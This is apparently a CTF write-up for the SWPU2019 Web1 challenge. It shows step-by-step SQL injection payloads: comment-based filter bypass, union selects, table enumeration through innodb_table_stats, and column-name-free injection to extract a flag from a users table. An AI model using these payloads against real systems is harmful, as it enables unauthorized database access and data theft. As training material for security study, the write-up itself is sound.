当前位置:网站首页>[SWPU2019]Web1
[SWPU2019]Web1
2022-08-05 03:59:00 【pakho_C】
[SWPU2019]Web1
Try to register as admin,It shows that it already exists, but the blasting password is not revealed
Register a test account to log in
Apply to advertise
Attempt injection
Try using single quotes, and an error is reported
ExistenceInject, try the passcode

there is filtering, try to fuzz, but limit the number of times and do not allow the same ad title
soCan only test manually, filter or order floor updatexml # - etc, and automatically eliminate spaces, try to inline comments /**/bypass
Since or is filtered, then information_schema can't be used, only no columns can be usedName injection, refer to: SQL injection without column name injection
1. Use group by to get the number of columns: 1'/**/group/**/by/**/22,'1
1'/**/group/**/by/**/23,'1
the number of columns is 22
2. Use union query to view echo points: -1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
The echo point is 2 3
When looking up the table name, it is found that or is filtered and cannot be bypassed by capitalization and double writing, so information_schema cannot be used because it contains or.There are two ways to bypass
InnoDb Engine
Starting from MYSQL5.5.8, InnoDB has become its default storage engine.In versions above MYSQL 5.6, inndb adds two tables, innodb_index_stats and innodb_table_stats, both of which store information about the database and its data tables, but do not store column names.
sys database
In MYSQL above 5.7, a new sys database is added. The basic data of this library comes from information_schema and performance_chema, which does not store data itself.The table name can be obtained through the schema_auto_increment_columns in it.
Note: The sys library requires root privileges to access.innodb is disabled by default in mysql.
3. Use innodb to bypass and view the table name: -1'union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()&&'1'='1 
Get the table name ads users
4. Use columnless injection to view the content of the second field in the users table:
-1'/**/union/**/select/**/1,(select/**/group_concat(`2`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1Note: Select 1, 2, 3 used for joint injection here can be tested. If they do not match, there will be a reminder
Measured as 3 columns
Get the field name flag, then the first value in the third field is flag
Change the column to be queried to 3.
-1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
边栏推荐
- Redis key基本命令
- UI自动化测试 App的WebView页面中,当搜索栏无搜索按钮时处理方法
- 多御安全浏览器新版下载 | 功能优秀性能出众
- MRTK3 develops Hololens application - gesture drag, rotate, zoom object implementation
- Android interview question - how to write with his hands a non-blocking thread safe queue ConcurrentLinkedQueue?
- [极客大挑战 2019]FinalSQL
- 将故事写成我们
- 包拉链不可用,但是是被另一个包。
- DEJA_VU3D - Cesium功能集 之 059-腾讯地图纠偏
- UE4 通过重叠事件开启门
猜你喜欢

【8.1】代码源 - 【第二大数字和】【石子游戏 III】【平衡二叉树】
![Spark Basics [Introduction, Getting Started with WordCount Cases]](/img/90/ebe887db0f8c36895691dea05f62cf.png)
Spark Basics [Introduction, Getting Started with WordCount Cases]

Acid (ACID) Base (BASE) Principles for Database Design
![[Software testing] unittest framework for automated testing](/img/80/caedd5cf6dd61c9d75475866613cac.png)
[Software testing] unittest framework for automated testing

UE4 通过与其它Actor互动开门

事件解析树Drain3使用方法和解释

Increasing leetcode - a daily topic 1403. The order of the boy sequence (greed)
![[BJDCTF2020]EasySearch](/img/60/464de3bcdda876171b9f61ad31bff1.png)
[BJDCTF2020]EasySearch

炎炎夏日教你利用小米智能家居配件+树莓派4接入Apple HomeKit

presto启动成功后出现2022-08-04T17:50:58.296+0800 ERROR Announcer-3 io.airlift.discovery.client.Announcer
随机推荐
【8.1】代码源 - 【第二大数字和】【石子游戏 III】【平衡二叉树】
多御安全浏览器新版下载 | 功能优秀性能出众
【Mysql进阶优化篇02】索引失效的10种情况及原理
[SWPU2019]Web1
Swing有几种常用的事件处理方式?如何监听事件?
burp安装及代理设置
四位数显表头设计
bytebuffer 内部结构
XMjs cross-domain problem solving
905. Interval selection
1007 Climb Stairs (贪心 | C思维)
UE4 在游戏运行时更改变量 (通过鼠标滑轮来更改第一人称角色的最大行走速度)
Static method to get configuration file data
ffmpeg 枚举decoders, encoders 分析
Redis1:Redis介绍、Redis基本特性、关系型数据库、非关系型数据库、数据库发展阶段
ffmpeg enumeration decoders, encoders analysis
七夕节赚徽章拉
Event parse tree Drain3 usage and explanation
The test salary is so high?20K just graduated
Mysql的undo log详解